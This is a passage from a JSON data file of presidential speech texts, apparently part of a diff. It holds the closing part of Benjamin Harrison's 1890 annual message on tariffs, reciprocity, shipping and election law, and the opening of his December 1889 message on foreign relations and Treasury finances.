characterized this. It is\nnot believed, however, that these evil incidents, which have for the time\nunfavorably affected values in this country, can long withstand the strong,\nsafe, and wholesome influences which are operating to give to our people\nprofitable returns in all branches of legitimate trade and industry. The\napprehension that our tariff may again and at once be subjected to\nimportant general changes would undoubtedly add a depressing influence of\nthe most serious character.The general tariff act has only partially gone into operation, some of its\nimportant provisions being limited to take effect at dates yet in the\nfuture. The general provisions of the law have been in force less than\nsixty days. Its permanent effects upon trade and prices still largely stand\nin conjecture. It is curious to note that the advance in the prices of\narticles wholly unaffected by the tariff act was by many hastily ascribed\nto that act. Notice was not taken of the fact that the general tendency of\nthe markets was upward, from influences wholly apart from the recent tariff\nlegislation. The enlargement of our currency by the silver bill undoubtedly\ngave an upward tendency to trade and had a marked effect on prices; but\nthis natural and desired effect of the silver legislation was by many\nerroneously attributed to the tariff act.There is neither wisdom nor justice in the suggestion that the subject of\ntariff revision shall be again opened before this law has had a fair trial.\nIt is quite true that every tariff schedule is subject to objections. No\nbill was ever framed, I suppose, that in all of its rates and\nclassifications had the full approval even of a party caucus. Such\nlegislation is always and necessarily the product of compromise as to\ndetails, and the present law is no exception. But in its general scope and\neffect I think it will justify the support of those who believe that\nAmerican legislation should conserve and defend American trade and the\nwages of American workmen.The misinformation as to the terms of the act which has been so widely\ndisseminated at home and abroad will be corrected by experience, and the\nevil auguries as to its results confounded by the market reports, the\nsavings banks, international trade balances, and the general prosperity of\nour people. Already we begin to hear from abroad and from our customhouses\nthat the prohibitory effect upon importations imputed to the act is not\njustified. The imports at the port of New York for the first three weeks of\nNovember were nearly 8 per cent greater than for the same period in 1889\nand 29 per cent greater than in the same period of 1888. And so far from\nbeing an act to limit exports, I confidently believe that under it we shall\nsecure a larger and more profitable participation in foreign trade than we\nhave ever enjoyed, and that we shall recover a proportionate participation\nin the ocean carrying trade of the world.The criticisms of the bill that have come to us from foreign sources may\nwell be rejected for repugnancy. If these critics really believe that the\nadoption by us of a free-trade policy, or of tariff rates having reference\nsolely to revenue, would diminish the participation of their own countries\nin the commerce of the world, their advocacy and promotion, by speech and\nother forms of organized effort, of this movement among our people is a\nrare exhibition of unselfishness in trade. And, on the other hand, if they\nsincerely believe that the adoption of a protective-tariff policy by this\ncountry inures to their profit and our hurt, it is noticeably strange that\nthey should lead the outcry against the authors of a policy so helpful to\ntheir countrymen and crown with their favor those who would snatch from\nthem a substantial share of a trade with other lands already inadequate to\ntheir necessities.There is no disposition among any of our people to promote prohibitory or\nretaliatory legislation. Our policies are adopted not to the hurt of\nothers, but to secure for ourselves those advantages that fairly grow out\nof our favored position as a nation. Our form of government, with its\nincident of universal suffrage, makes it imperative that we shall save our\nworking people from the agitations and distresses which scant work and\nwages that have no margin for comfort always beget. But after all this is\ndone it will be found that our markets are open to friendly commercial\nexchanges of enormous value to the other great powers.From the time of my induction into office the duty of using every power and\ninfluence given by law to the executive department for the development of\nlarger markets for our products, especially our farm products, has been\nkept constantly in mind, and no effort has been or will be spared to\npromote that end. We are under no disadvantage in any foreign market,\nexcept that we pay our workmen and workwomen better wages than are paid\nelsewhere--better abstractly, better relatively to the cost of the\nnecessaries of life. I do not doubt that a very largely increased foreign\ntrade is accessible to us without bartering for it either our home market\nfor such products of the farm and shop as our own people can supply or the\nwages of our working people.In many of the products of wood and iron and in meats and breadstuffs we\nhave advantages that only need better facilities of intercourse and\ntransportation to secure for them large foreign markets. The reciprocity\nclause of the tariff act wisely and effectively opens the way to secure a\nlarge reciprocal trade in exchange for the free admission to our ports of\ncertain products. The right of independent nations to make special\nreciprocal trade concessions is well established, and does not impair\neither the comity due to other powers or what is known as the\n\"favored-nation clause,\" so generally found in commercial treaties. What is\ngiven to one for an adequate agreed consideration can not be claimed by\nanother freely. The state of the revenues was such that we could dispense\nwith any import duties upon coffee, tea, hides, and the lower grades of\nsugar and molasses. That the large advantage resulting to the countries\nproducing and exporting these articles by placing them on the free list\nentitled us to expect a fair return in the way of customs concessions upon\narticles exported by us to them was so obvious that to have gratuitously\nabandoned this opportunity to enlarge our trade would have been an\nunpardonable error.There were but two methods of maintaining control of this question open to\nCongress--to place all of these articles upon the dutiable list, subject to\nsuch treaty agreements as could be secured, or to place them all presently\nupon the free list, but subject to the reimposition of specified duties if\nthe countries from which we received them should refuse to give to us\nsuitable reciprocal benefits. This latter method, I think, possesses great\nadvantages. It expresses in advance the consent of Congress to reciprocity\narrangements affecting these products, which must otherwise have been\ndelayed and unascertained until each treaty was ratified by the Senate and\nthe necessary legislation enacted by Congress. Experience has shown that\nsome treaties looking to reciprocal trade have failed to secure a\ntwo-thirds vote in the Senate for ratification, and others having passed\nthat stage have for years awaited the concurrence of the House and Senate\nin such modifications of our revenue laws as were necessary to give effect\nto their provisions. We now have the concurrence of both Houses in advance\nin a distinct and definite offer of free entry to our ports of specific\narticles. The Executive is not required to deal in conjecture as to what\nCongress will accept. Indeed, this reciprocity provision is more than an\noffer. Our part of the bargain is complete; delivery has been made; and\nwhen the countries from which we receive sugar, coffee, tea, and hides have\nplaced on their free lists such of our products as shall be agreed upon as\nan equivalent for our concession, a proclamation of that fact completes the\ntransaction; and in the meantime our own people have free sugar, tea,\ncoffee, and hides.The indications thus far given are very hopeful of early and favorable\naction by the countries from which we receive our large imports of coffee\nand sugar, and it is confidently believed that if steam communication with\nthese countries can be promptly improved and enlarged the next year will\nshow a most gratifying increase in our exports of breadstuffs and\nprovisions, as well as of some important lines of manufactured goods.In addition to the important bills that became laws before the adjournment\nof the last session, some other bills of the highest importance were well\nadvanced toward a final vote and now stand upon the calendars of the two\nHouses in favored positions. The present session has a fixed limit, and if\nthese measures are not now brought to a final vote all the work that has\nbeen done upon them by this Congress is lost. The proper consideration of\nthese, of an apportionment bill, and of the annual appropriation bills will\nrequire not only that no working day of the session shall be lost, but that\nmeasures of minor and local interest shall not be allowed to interrupt or\nretard the progress of those that are of universal interest. In view of\nthese conditions, I refrain from bringing before you at this time some\nsuggestions that would otherwise be made, and most earnestly invoke your\nattention to the duty of perfecting the important legislation now well\nadvanced. To some of these measures, which seem to me most important, I now\nbriefly call your attention.I desire to repeat with added urgency the recommendations contained in my\nlast annual message in relation to the development of American steamship\nlines. The reciprocity clause of the tariff bill will be largely limited\nand its benefits retarded and diminished if provision is not\ncontemporaneously made to encourage the establishment of first-class steam\ncommunication between our ports and the ports of such nations as may meet\nour overtures for enlarged commercial exchanges. The steamship, carrying\nthe mails statedly and frequently and offering to passengers a comfortable,\nsafe, and speedy transit, is the first condition of foreign trade. It\ncarries the order or the buyer, but not all that is ordered or bought. It\ngives to the sailing vessels such cargoes as are not urgent or perishable,\nand, indirectly at least, promotes that important adjunct of commerce.\nThere is now both in this country and in the nations of Central and South\nAmerica a state of expectation and confidence as to increased trade that\nwill give a double value to your prompt action upon this question.The present situation of our mail communication with Australia illustrates\nthe importance of early action by Congress. The Oceanic Steamship Company\nmaintains a line of steamers between San Francisco, Sydney, and Auckland\nconsisting of three vessels, two of which are of United States registry and\none of foreign registry. For the service done by this line in carrying the\nmails we pay annually the sum of $46,000, being, as estimated, the full sea\nand United States inland postage, which is the limit fixed by law. The\ncolonies of New South Wales and New Zealand have been paying annually to\nthese lines lbs. 37,000 for carrying the mails from Sydney and Auckland to\nSan Francisco. The contract under which this payment has been made is now\nabout to expire, and those colonies have refused to renew the contract\nunless the United States shall pay a more equitable proportion of the whole\nsum necessary to maintain the service.I am advised by the Postmaster-General that the United States receives for\ncarrying the Australian mails, brought to San Francisco in these steamers,\nby rail to Vancouver, an estimated annual income of $75,000, while, as I\nhave stated, we are paying out for the support of the steamship line that\nbrings this mail to us only $46,000, leaving an annual surplus resulting\nfrom this service of $29,000. The trade of the United States with\nAustralia, which is in a considerable part carried by these steamers, and\nthe whole of which is practically dependent upon the mail communication\nwhich they maintain, is largely in our favor. Our total exports of\nmerchandise to Australasian ports during the fiscal year ending June 30,\n1890, were $11,266,484, while the total imports of merchandise from these\nports were only $4,277,676. If we are not willing to see this important\nsteamship line withdrawn, or continued with Vancouver substituted for San\nFrancisco as the American terminal, Congress should put it in the power of\nthe Postmaster-General to make a liberal increase in the amount now paid\nfor the transportation of this important mail.The South Atlantic and Gulf ports occupy a very favored position toward the\nnew and important commerce which the reciprocity clause of the tariff act\nand the postal shipping bill are designed to promote. Steamship lines from\nthese ports to some northern port of South America will almost certainly\neffect a connection between the railroad systems of the continents long\nbefore any continuous line of railroads can be put into operation. The very\nlarge appropriation made at the last session for the harbor of Galveston\nwas justified, as it seemed to me, by these considerations. The great\nNorthwest will feel the advantage of trunk lines to the South as well as to\nthe East and of the new markets opened for their surplus food products and\nfor many of their manufactured products.I had occasion in May last to transmit to Congress a report adopted by the\nInternational American Conference upon the subject of the incorporation of\nan international American bank, with a view to facilitating money exchanges\nbetween the States represented in that conference. Such an institution\nwould greatly promote the trade we are seeking to develop. I renew the\nrecommendation that a careful and well-guarded charter be granted. I do not\nthink the powers granted should include those ordinarily exercised by\ntrust, guaranty, and safe-deposit companies, or that more branches in the\nUnited States should be authorized than are strictly necessary to\naccomplish the object primarily in view, namely, convenient foreign\nexchanges. It is quite important that prompt action should be taken in this\nmatter, in order that any appropriations for better communication with\nthese countries and any agreements that may be made for reciprocal trade\nmay not be hindered by the inconvenience of making exchanges through\nEuropean money centers or burdened by the tribute which is an incident of\nthat method of business.The bill for the relief of the Supreme Court has after many years of\ndiscussion reached a position where final action is easily attainable, and\nit is hoped that any differences of opinion may be so harmonized as to save\nthe essential features of this very important measure. In this connection I\nearnestly renew my recommendation that the salaries of the judges of the\nUnited States district courts be so readjusted that none of them shall\nreceive less than $5,000 per annum.The subject of the unadjusted Spanish and Mexican land grants and the\nurgent necessity for providing some commission or tribunal for the trial of\nquestions of title growing out of them were twice brought by me to the\nattention of Congress at the last session. Bills have been reported from\nthe proper committees in both Houses upon the subject, and I very earnestly\nhope that this Congress will put an end to the delay which has attended the\nsettlement of the disputes as to the title between the settlers and the\nclaimants under these grants. These disputes retard the prosperity and\ndisturb the peace of large and important communities. The governor of New\nMexico in his last report to the Secretary of the Interior suggests some\nmodifications of the provisions of the pending bills relating to the small\nholdings of farm lands. I commend to your attention the suggestions of the\nSecretary of the Interior upon this subject.The enactment of a national bankrupt law I still regard as very desirable.\nThe Constitution having given to Congress jurisdiction of this subject, it\nshould be exercised and uniform rules provided for the administration of\nthe affairs of insolvent debtors. The inconveniences resulting from the\noccasional and temporary exercise of this power by Congress and from the\nconflicting State codes of insolvency which come into force intermediately\nshould be removed by the enactment of a simple, inexpensive, and permanent\nnational bankrupt law.I also renew my recommendation in favor of legislation affording just\ncopyright protection to foreign authors on a footing of reciprocal\nadvantage for our authors abroad.It may still be possible for this Congress to inaugurate by suitable\nlegislation a movement looking to uniformity and increased safety in the\nuse of couplers and brakes upon freight trains engaged in interstate\ncommerce. The chief difficulty in the way is to secure agreement as to the\nbest appliances, simplicity, effectiveness, and cost being considered. This\ndifficulty will only yield to legislation, which should be based upon full\ninquiry and impartial tests. The purpose should be to secure the\ncooperation of all well-disposed managers and owners; but the fearful fact\nthat every year's delay involves the sacrifice of 2,000 lives and the\nmaiming of 20,000 young men should plead both with Congress and the\nmanagers against any needless delay.The subject of the conservation and equal distribution of the water supply\nof the arid regions has had much attention from Congress, but has not as\nyet been put upon a permanent and satisfactory basis. The urgency of the\nsubject does not grow out of any large present demand for the use of these\nlands for agriculture, but out of the danger that the water supply and the\nsites for the necessary catch basins may fall into the hands of individuals\nor private corporations and be used to render subservient the large areas\ndependent upon such supply. The owner of the water is the owner of the\nlands, however the titles may run. All unappropriated natural water sources\nand all necessary reservoir sites should be held by the Government for the\nequal use at fair rates of the homestead settlers who will eventually take\nup these lands. The United States should not, in my opinion, undertake the\nconstruction of dams or canals, but should limit its work to such surveys\nand observations as will determine the water supply, both surface and\nsubterranean, the areas capable of irrigation, and the location and storage\ncapacity of reservoirs. This done, the use of the water and of the\nreservoir sites might be granted to the respective States or Territories or\nto individuals or associations upon the condition that the necessary works\nshould be constructed and the water furnished at fair rates without\ndiscrimination, the rates to be subject to supervision by the legislatures\nor by boards of water commissioners duly constituted. The essential thing\nto be secured is the common and equal use at fair rates of the accumulated\nwater supply. It were almost better that these lands should remain arid\nthan that those who occupy them should become the slaves of unrestrained\nmonopolies controlling the one essential element of land values and crop\nresults.The use of the telegraph by the Post-Office Department as a means for the\nrapid transmission of written communications is, I believe, upon proper\nterms, quite desirable. The Government does not own or operate the\nrailroads, and it should not, I think, own or operate the telegraph lines.\nIt does, however, seem to be quite practicable for the Government to\ncontract with the telegraph companies, as it does with railroad companies,\nto carry at specified rates such communications as the senders may\ndesignate for this method of transmission. I recommend that such\nlegislation be enacted as will enable the Post-Office Department fairly to\ntest by experiment the advantages of such a use of the telegraph.If any intelligent and loyal company of American citizens were required to\ncatalogue the essential human conditions of national life, I do not doubt\nthat with absolute unanimity they would begin with \"free and honest\nelections.\" And it is gratifying to know that generally there is a growing\nand nonpartisan demand for better election laws; but against this sign of\nhope and progress must be set the depressing and undeniable fact that\nelection laws and methods are sometimes cunningly contrived to secure\nminority control, while violence completes the shortcomings of fraud.In my last annual message I suggested that the development of the existing\nlaw providing a Federal supervision of Congressional elections offered an\neffective method of reforming these abuses. The need of such a law has\nmanifested itself in many parts of the country, and its wholesome\nrestraints and penalties will be useful in all. The constitutionality of\nsuch legislation has been affirmed by the Supreme Court. Its probable\neffectiveness is evidenced by the character of the opposition that is made\nto it. It has been denounced as if it were a new exercise of Federal power\nand an invasion of the rights of States. Nothing could be further from the\ntruth. Congress has already fixed the time for the election of members of\nCongress. It has declared that votes for members of Congress must be by\nwritten or printed ballot; it has provided for the appointment by the\ncircuit courts in certain cases, and upon the petition of a certain number\nof citizens, of election supervisors, and made it their duty to supervise\nthe registration of voters conducted by the State officers; to challenge\npersons offering to register; to personally inspect and scrutinize the\nregistry lists, and to affix their names to the lists for the purpose of\nidentification and the prevention of frauds; to attend at elections and\nremain with the boxes till they are all cast and counted; to attach to the\nregistry lists and election returns any statement touching the accuracy and\nfairness of the registry and election, and to take and transmit to the\nClerk of the House of Representatives any evidence of fraudulent practices\nwhich may be presented to them. The same law provides for the appointment\nof deputy United States marshals to attend at the polls, support the\nsupervisors in the discharge of their duties, and to arrest persons\nviolating the election laws. The provisions of this familiar title of the\nRevised Statutes have been put into exercise by both the great political\nparties, and in the North as well as in the South, by the filing with the\ncourt of the petitions required by the law.It is not, therefore, a question whether we shall have a Federal election\nlaw, for we now have one and have had for nearly twenty years, but whether\nwe shall have an effective law. The present law stops just short of\neffectiveness, for it surrenders to the local authorities all control over\nthe certification which establishes the prima facie right to a seat in the\nHouse of Representatives. This defect should be cured. Equality of\nrepresentation and the parity of the electors must be maintained or\neverything that is valuable in our system of government is lost. The\nqualifications of an elector must be sought in the law, net in the\nopinions, prejudices, or fears of any class, however powerful. The path of\nthe elector to the ballot box must be free from the ambush of fear and the\nenticements of fraud; the count so true and open that none shall gainsay\nit. Such a law should be absolutely nonpartisan and impartial. It should\ngive the advantage to honesty and the control to majorities. Surely there\nis nothing sectional about this creed, and if it shall happen that the\npenalties of laws intended to enforce these rights fall here and not there\nit is not because the law is sectional, but because, happily, crime is\nlocal and not universal. Nor should it be forgotten that every law, whether\nrelating to elections or to any other subject, whether enacted by the State\nor by the nation, has force behind it; the courts, the marshal or\nconstable, the posse comitatus, the prison, are all and always behind the\nlaw.One can not be justly charged with unfriendliness to any section or class\nwho seeks only to restrain violations of law and of personal right. No\ncommunity will find lawlessness profitable. No community can afford to have\nit known that the officers who are charged with the preservation of the\npublic peace and the restraint of the criminal classes are themselves the\nproduct of fraud or violence. The magistrate is then without respect and\nthe law without sanction. The floods of lawlessness can not be leveed and\nmade to run in one channel. The killing of a United States marshal carrying\na writ of arrest for an election offense is full of prompting and\nsuggestion to men who are pursued by a city marshal for a crime against\nlife or property.But it is said that this legislation will revive race animosities, and some\nhave even suggested that when the peaceful methods of fraud are made\nimpossible they may be supplanted by intimidation and violence. If the\nproposed law gives to any qualified elector by a hair's weight more than\nhis equal influence or detracts by so much from any other qualified\nelector, it is fatally impeached. But if the law is equal and the\nanimosities it is to evoke grow out of the fact that some electors have\nbeen accustomed to exercise the franchise for others as well as for\nthemselves, then these animosities ought not to be confessed without shame,\nand can not be given any weight in the discussion without dishonor No\nchoice is left to me but to enforce with vigor all laws intended to secure\nto the citizen his constitutional rights and to recommend that the\ninadequacies of such laws be promptly remedied. If to promote with zeal and\nready interest every project for the development of its material interests,\nits rivers, harbors, mines, and factories, and the intelligence, peace, and\nsecurity under the law of its communities and its homes is not accepted as\nsufficient evidence of friendliness to any State or section, I can not add\nconnivance at election practices that not only disturb local results, but\nrob the electors of other States and sections of their most priceless\npolitical rights.The preparation of the general appropriation bills should be conducted with\nthe greatest care and the closest scrutiny of expenditures. Appropriations\nshould be adequate to the needs of the public service, but they should be\nabsolutely free from prodigality.I venture again to remind you that the brief time remaining for the\nconsideration of the important legislation now awaiting your attention\noffers no margin for waste. If the present duty is discharged with\ndiligence, fidelity, and courage, the work of the Fifty-first Congress may\nbe confidently submitted to the considerate judgment of the people. BENJ.\nHARRISON", 
+    "name": "Benjamin Harrison"
+}
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+{
+    "date": "December 3, 1889", 
+    "speech": "To the Senate and House of Representatives:There are few transactions in the administration of the Government that are\neven temporarily held in the confidence of those charged with the conduct\nof the public business. Every step taken is under the observation of an\nintelligent and watchful people. The state of the Union is known from day\nto day, and suggestions as to needed legislation find an earlier voice than\nthat which speaks in these annual communications of the President to\nCongress.Good will and cordiality have characterized our relations and\ncorrespondence with other governments, and the year just closed leaves few\ninternational questions of importance remaining unadjusted. No obstacle is\nbelieved to exist that can long postpone the consideration and adjustment\nof the still pending questions upon satisfactory and honorable terms. The\ndealings of this Government with other states have been and should always\nbe marked by frankness and sincerity, our purposes avowed, and our methods\nfree from intrigue. This course has borne rich fruit in the past, and it is\nour duty as a nation to preserve the heritage of good repute which a\ncentury of right dealing with foreign governments has secured to us.It is a matter of high significance and no less of congratulation that the\nfirst year of the second century of our constitutional existence finds as\nhonored guests within our borders the representatives of all the\nindependent States of North and South America met together in earnest\nconference touching the best methods of perpetuating and expanding the\nrelations of mutual interest and friendliness existing among them. That the\nopportunity thus afforded for promoting closer international relations and\nthe increased prosperity of the States represented will be used for the\nmutual good of all I can not permit myself to doubt. Our people will await\nwith interest and confidence the results to flow from so auspicious a\nmeeting of allied and in large part identical interests.The recommendations of this international conference of enlightened\nstatesmen will doubtless have the considerate attention of Congress and its\ncooperation in the removal of unnecessary barriers to beneficial\nintercourse between the nations of America. But while the commercial\nresults which it is hoped will follow this conference are worthy of pursuit\nand of the great interests they have excited, it is believed that the\ncrowning benefit will be found in the better securities which may be\ndevised for the maintenance of peace among all American nations and the\nsettlement of all contentions by methods that a Christian civilization can\napprove. While viewing with interest our national resources and products,\nthe delegates will, I am sure, find a higher satisfaction in the evidences\nof unselfish friendship which everywhere attend their intercourse with our\npeople.Another international conference having great possibilities for good has\nlately assembled and is now in session in this capital. An invitation was\nextended by the Government, under the act of Congress of July 9, 1888, to\nall maritime nations to send delegates to confer touching the revision and\namendment of the rules and regulations governing vessels at sea and to\nadopt a uniform system of marine signals. The response to this invitation\nhas been very general and very cordial. Delegates from twenty-six nations\nare present in the conference, and they have entered upon their useful work\nwith great zeal and with an evident appreciation of its importance. So far\nas the agreement to be reached may require legislation to give it effect,\nthe cooperation of Congress is confidently relied upon.It is an interesting, if not, indeed, an unprecedented, fact that the two\ninternational conferences have brought together here the accredited\nrepresentatives of thirty-three nations.Bolivia, Ecuador, and Honduras are now represented by resident envoys of\nthe plenipotentiary grade. All the States of the American system now\nmaintain diplomatic representation at this capital.In this connection it may be noted that all the nations of the Western\nHemisphere, with one exception, send to Washington envoys extraordinary and\nministers plenipotentiary, being the highest grade accredited to this\nGovernment. The United States, on the contrary, sends envoys of lower\ngrades to some of our sister Republics. Our representative in Paraguay and\nUruguay is a minister resident, while to Bolivia we send a minister\nresident and consul-general. In view of the importance of our relations\nwith the States of the American system, our diplomatic agents in those\ncountries should be of the uniform rank of envoy extraordinary and minister\nplenipotentiary. Certain missions were so elevated by the last Congress\nwith happy effect, and I recommend the completion of the reform thus begun,\nwith the inclusion also of Hawaii and Hayti, in view of their relations to\nthe American system of states.I also recommend that timely provision be made for extending to Hawaii an\ninvitation to be represented in the international conference now sitting at\nthis capital.Our relations with China have the attentive consideration which their\nmagnitude and interest demand. The failure of the treaty negotiated under\nthe Administration of my predecessor for the further and more complete\nrestriction of Chinese labor immigration, and with it the legislation of\nthe last session of Congress dependent thereon, leaves some questions open\nwhich Congress should now approach in that wise and just spirit which\nshould characterize the relations of two great and friendly powers. While\nour supreme interests demand the exclusion of a laboring element which\nexperience has shown to be incompatible with our social life, all steps to\ncompass this imperative need should be accompanied with a recognition of\nthe claim of those strangers now lawfully among us to humane and just\ntreatment.The accession of the young Emperor of China marks, we may hope, an era of\nprogress and prosperity for the great country over which he is called to\nrule.The present state of affairs in respect to the Samoan Islands is\nencouraging. The conference which was held in this city in the summer of\n1887 between the representatives of the United States, Germany, and Great\nBritain having been adjourned because of the persistent divergence of views\nwhich was developed in its deliberations, the subsequent course of events\nin the islands gave rise to questions of a serious character. On the 4th of\nFebruary last the German minister at this capital, in behalf of his\nGovernment, proposed a resumption of the conference at Berlin. This\nproposition was accepted, as Congress in February last was informed.Pursuant to the understanding thus reached, commissioners were appointed by\nme, by and with the advice and consent of the Senate, who proceeded to\nBerlin, where the conference was renewed. The deliberations extended\nthrough several weeks, and resulted in the conclusion of a treaty which\nwill be submitted to the Senate for its approval. I trust that the efforts\nwhich have been made to effect an adjustment of this question will be\nproductive of the permanent establishment of law and order in Samoa upon\nthe basis of the maintenance of the rights and interests of the natives as\nwell as of the treaty powers.The questions which have arisen during the past few years between Great\nBritain and the United States are in abeyance or in course of amicable\nadjustment.On the part of the government of the Dominion of Canada an effort has been\napparent during the season just ended to administer the laws and\nregulations applicable to the fisheries with as little occasion for\nfriction as was possible, and the temperate representations of this\nGovernment in respect of cases of undue hardship or of harsh\ninterpretations have been in most cases met with measures of transitory\nrelief. It is trusted that the attainment of our just rights under existing\ntreaties and in virtue of the concurrent legislation of the two contiguous\ncountries will not be long deferred and that all existing causes of\ndifference may be equitably adjusted.I recommend that provision be made by an international agreement for\nvisibly marking the water boundary between the United States and Canada in\nthe narrow channels that join the Great Lakes. The conventional line\ntherein traced by the northwestern boundary survey years ago is not in all\ncases readily ascertainable for the settlement of jurisdictional\nquestions.A just and acceptable enlargement of the list of offenses for which\nextradition may be claimed and granted is most desirable between this\ncountry and Great Britain. The territory of neither should become a secure\nharbor for the evil doers of the other through any avoidable shortcoming in\nthis regard. A new treaty on this subject between the two powers has been\nrecently negotiated and will soon be laid before the Senate.The importance of the commerce of Cuba and Puerto Rico with the United\nStates, their nearest and principal market, justifies the expectation that\nthe existing relations may be beneficially expanded. The impediments\nresulting from varying dues on navigation and from the vexatious treatment\nof our vessels on merely technical grounds of complaint in West India ports\nshould be removed.The progress toward an adjustment of pending claims between the United\nStates and Spain is not as rapid as could be desired.Questions affecting American interests in connection with railways\nconstructed and operated by our citizens in Peru have claimed the attention\nof this Government. It is urged that other governments in pressing Peru to\nthe payment of their claims have disregarded the property rights of\nAmerican citizens. The matter will be carefully investigated with a view to\nsecuring a proper and equitable adjustment.A similar issue is now pending with Portugal. The Delagoa Bay Railway, in\nAfrica, was constructed under a concession by Portugal to an American\ncitizen. When nearly completed the road was seized by the agents of the\nPortuguese Government. Formal protest has been made through our minister at\nLisbon against this act, and no proper effort will be spared to secure\nproper relief.In pursuance of the charter granted by Congress and under the terms of its\ncontract with the Government of Nicaragua the Interoceanic Canal Company\nhas begun the construction of the important waterway between the two oceans\nwhich its organization contemplates. Grave complications for a time seemed\nimminent, in view of a supposed conflict of jurisdiction between Nicaragua\nand Costa Rica in regard to the accessory privileges to be conceded by the\nlatter Republic toward the construction of works on the San Juan River, of\nwhich the right bank is Costa Rican territory. I am happy to learn that a\nfriendly arrangement has been effected between the two nations. This\nGovernment has held itself ready to promote in every proper way the\nadjustment of all questions that might present obstacles to the completion\nof a work of such transcendent importance to the commerce of this country,\nand, indeed, to the commercial interests of the world.The traditional good feeling between this country and the French Republic\nhas received additional testimony in the participation of our Government\nand people in the international exposition held at Paris during the past\nsummer. The success of our exhibitors has been gratifying. The report of\nthe commission will be laid before Congress in due season.This Government has accepted, under proper reserve as to its policy in\nforeign territories, the invitation of the Government of Belgium to take\npart in an international congress, which opened at Brussels on the 16th of\nNovember, for the purpose of devising measures to promote the abolition of\nthe slave trade in Africa and to prevent the shipment of slaves by sea. Our\ninterest in the extinction of this crime against humanity in the regions\nwhere it yet survives has been increased by the results of emancipation\nwithin our own borders.With Germany the most cordial relations continue. The questions arising\nfrom the return to the Empire of Germans naturalized in this country are\nconsidered and disposed of in a temperate spirit to the entire satisfaction\nof both Governments.It is a source of great satisfaction that the internal disturbances of the\nRepublic of Hayti are at last happily ended, and that an apparently stable\ngovernment has been constituted. It has been duly recognized by the United\nStates.A mixed commission is now in session in this capital for the settlement of\nlong-standing claims against the Republic of Venezuela, and it is hoped\nthat a satisfactory conclusion will be speedily reached. This Government\nhas not hesitated to express its earnest desire that the boundary dispute\nnow pending between Great Britain and Venezuela may be adjusted amicably\nand in strict accordance with the historic title of the parties.The advancement of the Empire of Japan has been evidenced by the recent\npromulgation of a new constitution, containing valuable guaranties of\nliberty and providing for a responsible ministry to conduct the\nGovernment.It is earnestly recommended that our judicial rights and processes in Korea\nbe established on a firm basis by providing the machinery necessary to\ncarry out treaty stipulations in that regard.The friendliness of the Persian Government continues to be shown by its\ngenerous treatment of Americans engaged in missionary labors and by the\ncordial disposition of the Shah to encourage the enterprise of our citizens\nin the development of Persian resources.A discussion is in progress touching the jurisdictional treaty rights of\nthe United States in Turkey. An earnest effort will be made to define those\nrights to the satisfaction of both Governments.Questions continue to arise in our relations with several countries in\nrespect to the rights of naturalized citizens. Especially is this the case\nwith France, Italy, Russia, and Turkey, and to a less extent with\nSwitzerland. From time to time earnest efforts have been made to regulate\nthis subject by conventions with those countries. An improper use of\nnaturalization should not be permitted, but it is most important that those\nwho have been duly naturalized should everywhere be accorded recognition of\nthe rights pertaining to the citizenship of the country of their adoption.\nThe appropriateness of special conventions for that purpose is recognized\nin treaties which this Government has concluded with a number of European\nStates, and it is advisable that the difficulties which now arise in our\nrelations with other countries on the same subject should be similarly\nadjusted.The recent revolution in Brazil in favor of the establishment of a\nrepublican form of government is an event of great interest to the United\nStates. Our minister at Rio de Janeiro was at once instructed to maintain\nfriendly diplomatic relations with the Provisional Government, and the\nBrazilian representatives at this capital were instructed by the\nProvisional Government to continue their functions. Our friendly\nintercourse with Brazil has therefore suffered no interruption.Our minister has been further instructed to extend on the part of this\nGovernment a formal and cordial recognition of the new Republic so soon as\nthe majority of the people of Brazil shall have signified their assent to\nits establishment and maintenance.Within our own borders a general condition of prosperity prevails. The\nharvests of the last summer were exceptionally abundant, and the trade\nconditions now prevailing seem to promise a successful season to the\nmerchant and the manufacturer and general employment to our working\npeople.The report of the Secretary of the Treasury for the fiscal year ending June\n30, 1889, has been prepared and will be presented to Congress. It presents\nwith clearness the fiscal operations of the Government, and I avail myself\nof it to obtain some facts for use here.The aggregate receipts from all sources for the year were $387,050,058.84,\nderived as follows:From customs - $223, 832, 741.69From internal revenue - 130,881,513.92From miscellaneous sources - 32,335,803.23The ordinary expenditures for the same period were $281,996,615.60, and the\ntotal expenditures, including the sinking fund, were $329,579,929.25. The\nexcess of receipts over expenditures was, after providing for the sinking\nfund, $57,470,129.59.For the current fiscal year the total revenues, actual and estimated are\n$385,000,000, and the ordinary expenditures, actual and estimated, are\n$293,000,000, making with the sinking fund a total expenditure of\n$341,321,116.99, leaving an estimated surplus of $43,678,883.01.During the fiscal year there was applied to the purchase of bonds, in\naddition to those for the sinking fund, $90,456,172.35, and during the\nfirst quarter of the current year the sum of $37,838,937.77, all of which\nwere credited to the sinking fund. The revenues for the fiscal year ending\nJune 30, 1891, are estimated by the Treasury Department at $385,000,000,\nand the expenditures for the same period, including the sinking fund, at\n$341,430,477.70. This shows an estimated surplus for that year of\n$43,569,522.30, which is more likely to be increased than reduced when the\nactual transactions are written up.The existence of so large an actual and anticipated surplus should have the\nimmediate attention of Congress, with a view to reducing the receipts of\nthe Treasury to the needs of the Government as closely as may be. The\ncollection of moneys not needed for public uses imposes an unnecessary\nburden upon our people, and the presence of so large a surplus in the\npublic vaults is a disturbing element in the conduct of private business.\nIt has called into use expedients for putting it into circulation of very\nquestionable propriety. We should not collect revenue for the purpose of\nanticipating our bonds beyond the requirements of the sinking fund, but any\nunappropriated surplus in the Treasury should be so used, as there is no\nother lawful way of returning the money to circulation, and the profit\nrealized by the Government offers a substantial advantage.The loaning of public funds to the banks without interest Upon the security\nof Government bonds I regard as an unauthorized and dangerous expedient. It\nresults in a temporary and unnatural increase of the banking capital of\nfavored localities and compels a cautious and gradual recall of the\ndeposits to avoid injury to the commercial interests. It is not to be\nexpected that the banks having these deposits will sell their bonds to the\nTreasury so long as the present highly beneficial arrangement is continued.\nThey now practically get interest both upon the bonds and their proceeds.\nNo further use should be made of this method of getting the surplus into\ncirculation, and the deposits now outstanding should be gradually withdrawn\nand applied to the purchase of bonds. It is fortunate that such a use can\nbe made of the existing surplus, and for some time to come of any casual\nsurplus that may exist after Congress has taken the necessary steps for a\nreduction of the revenue. Such legislation should be promptly but very\nconsiderately enacted.I recommend a revision of our tariff law both in its administrative\nfeatures and in the schedules. The need of the former is generally\nconceded, and an agreement upon the evils and inconveniences to be remedied\nand the best methods for their correction will probably not be difficult.\nUniformity of valuation at all our ports is essential, and effective\nmeasures should be taken to secure it. It is equally desirable that\nquestions affecting rates and classifications should be 